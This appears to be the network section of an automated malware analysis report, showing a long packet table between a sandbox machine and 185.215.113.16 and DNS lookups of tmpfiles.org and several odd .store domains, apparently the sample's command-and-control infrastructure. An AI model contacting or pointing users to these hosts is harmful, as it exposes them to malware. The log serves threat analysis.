Nov 7, 2024 06:01:28.057892084 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057902098 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057909966 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057912111 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057925940 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057940960 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057949066 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057950974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057962894 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057971001 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057972908 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057984114 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057997942 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058001995 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058013916 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058022976 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058023930 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058038950 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058048964 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058052063 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058058977 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058070898 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058077097 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058083057 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058087111 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058094978 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058105946 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058109045 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058121920 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058134079 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058151960 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058161974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058161974 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058172941 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058183908 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058190107 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058195114 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058207989 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058213949 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058218002 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058232069 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058243036 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058250904 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058254957 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058273077 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058280945 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058303118 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058310032 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058314085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058325052 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058336020 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058345079 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058345079 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058360100 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058366060 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058372974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058374882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058392048 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058393002 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058408976 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058415890 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058419943 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058424950 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058430910 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058443069 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058451891 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058453083 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058465004 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058471918 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058475971 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058486938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058497906 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058497906 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058509111 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058512926 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058518887 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058527946 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058538914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058540106 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058554888 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058568954 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058573008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058588982 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058593988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058604956 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058609962 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058618069 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058629036 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058634043 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058640003 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058653116 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058682919 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058789968 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058799982 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058809042 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058826923 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058849096 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058931112 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058952093 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058964014 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.058969021 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.058991909 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059016943 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059102058 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059115887 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059134960 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059145927 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059154034 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059156895 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059179068 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059211016 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059361935 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059381962 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059391975 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059412956 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059427977 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059434891 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059446096 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059474945 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059539080 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059547901 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059562922 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059573889 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059576988 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059585094 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.059601068 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.059628963 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.060731888 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060760021 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060770988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060784101 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.060807943 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.060861111 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060872078 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060883999 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060894966 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060898066 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.060909986 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060923100 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060931921 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.060935974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.060960054 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.060972929 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061008930 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061019897 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061029911 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061039925 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061045885 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061053038 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061064959 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061073065 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061077118 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061084032 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061088085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061105013 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061132908 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061279058 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061314106 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061325073 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061350107 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061367035 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061439037 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061450958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061460972 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061475039 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061486959 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061491966 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061502934 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061512947 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061512947 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061528921 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061532021 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061542988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061553955 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061558962 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061564922 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061574936 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061575890 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061588049 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061597109 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061598063 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061604023 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061618090 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061619997 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061628103 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061628103 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061649084 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061666965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061677933 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061678886 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061688900 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061702967 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061731100 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061805964 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061816931 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061826944 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061837912 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061849117 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.061860085 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061860085 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.061892033 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062053919 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062071085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062084913 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062089920 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062097073 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062108040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062130928 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062153101 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062192917 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062227011 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062242031 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062252998 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062277079 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062290907 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062319040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062330008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062341928 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062356949 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062376022 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062643051 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062663078 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062685013 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062712908 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062832117 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062849045 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062860012 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062886953 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062910080 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.062958002 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062968969 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.062979937 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063002110 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063029051 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063030005 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063041925 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063051939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063065052 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063076019 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063086987 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063108921 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063132048 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063147068 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063157082 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063168049 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063169956 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063178062 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063189983 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063200951 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063200951 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063213110 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063225985 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063227892 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063242912 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063247919 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063258886 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063268900 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063271046 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063281059 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063288927 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063292980 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063306093 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063327074 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063330889 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063330889 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063343048 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063354015 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063364029 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063371897 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063374996 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063386917 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063396931 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063421965 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063438892 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063481092 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063503027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063513994 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063524008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063539028 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.063539982 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.063551903 CET	80	49891	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 06:01:07.311856985 CET	192.168.2.4	1.1.1.1	0xf8bc	Standard query (0)	tmpfiles.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:14.950032949 CET	192.168.2.4	1.1.1.1	0x2536	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:14.982594013 CET	192.168.2.4	1.1.1.1	0x33b5	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.007937908 CET	192.168.2.4	1.1.1.1	0x7d99	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.033129930 CET	192.168.2.4	1.1.1.1	0xf30b	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.080616951 CET	192.168.2.4	1.1.1.1	0xde08	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.105205059 CET	192.168.2.4	1.1.1.1	0x150f	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.411784887 CET	192.168.2.4	1.1.1.1	0x118a	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.452658892 CET	192.168.2.4	1.1.1.1	0x8f	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.477112055 CET	192.168.2.4	1.1.1.1	0xe747	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.503101110 CET	192.168.2.4	1.1.1.1	0xda08	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.528191090 CET	192.168.2.4	1.1.1.1	0xa935	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:28.484117985 CET	192.168.2.4	1.1.1.1	0x2567	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 06:01:28.484117985 CET	192.168.2.4	1.1.1.1	0x92bf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:32.819588900 CET	192.168.2.4	1.1.1.1	0x8069	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:32.819952965 CET	192.168.2.4	1.1.1.1	0xdd35	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 06:01:51.006485939 CET	192.168.2.4	1.1.1.1	0x1295	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.044713020 CET	192.168.2.4	1.1.1.1	0xd0ed	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.114469051 CET	192.168.2.4	1.1.1.1	0x48db	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.180897951 CET	192.168.2.4	1.1.1.1	0x11e6	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:51.208019972 CET	192.168.2.4	1.1.1.1	0xcf07	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 06:01:07.320831060 CET	1.1.1.1	192.168.2.4	0xf8bc	No error (0)	tmpfiles.org		104.21.21.16	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:07.320831060 CET	1.1.1.1	192.168.2.4	0xf8bc	No error (0)	tmpfiles.org		172.67.195.247	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:14.972974062 CET	1.1.1.1	192.168.2.4	0x2536	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.004822969 CET	1.1.1.1	192.168.2.4	0x33b5	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.029620886 CET	1.1.1.1	192.168.2.4	0x7d99	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.055361986 CET	1.1.1.1	192.168.2.4	0xf30b	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.102957964 CET	1.1.1.1	192.168.2.4	0xde08	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.158474922 CET	1.1.1.1	192.168.2.4	0x150f	No error (0)	founpiuer.store		104.21.5.155	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:15.158474922 CET	1.1.1.1	192.168.2.4	0x150f	No error (0)	founpiuer.store		172.67.133.135	A (IP address)	IN (0x0001)	false
Nov 7, 2024 06:01:27.433769941 CET	1.1.1.1	192.168.2.4	0x118a	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
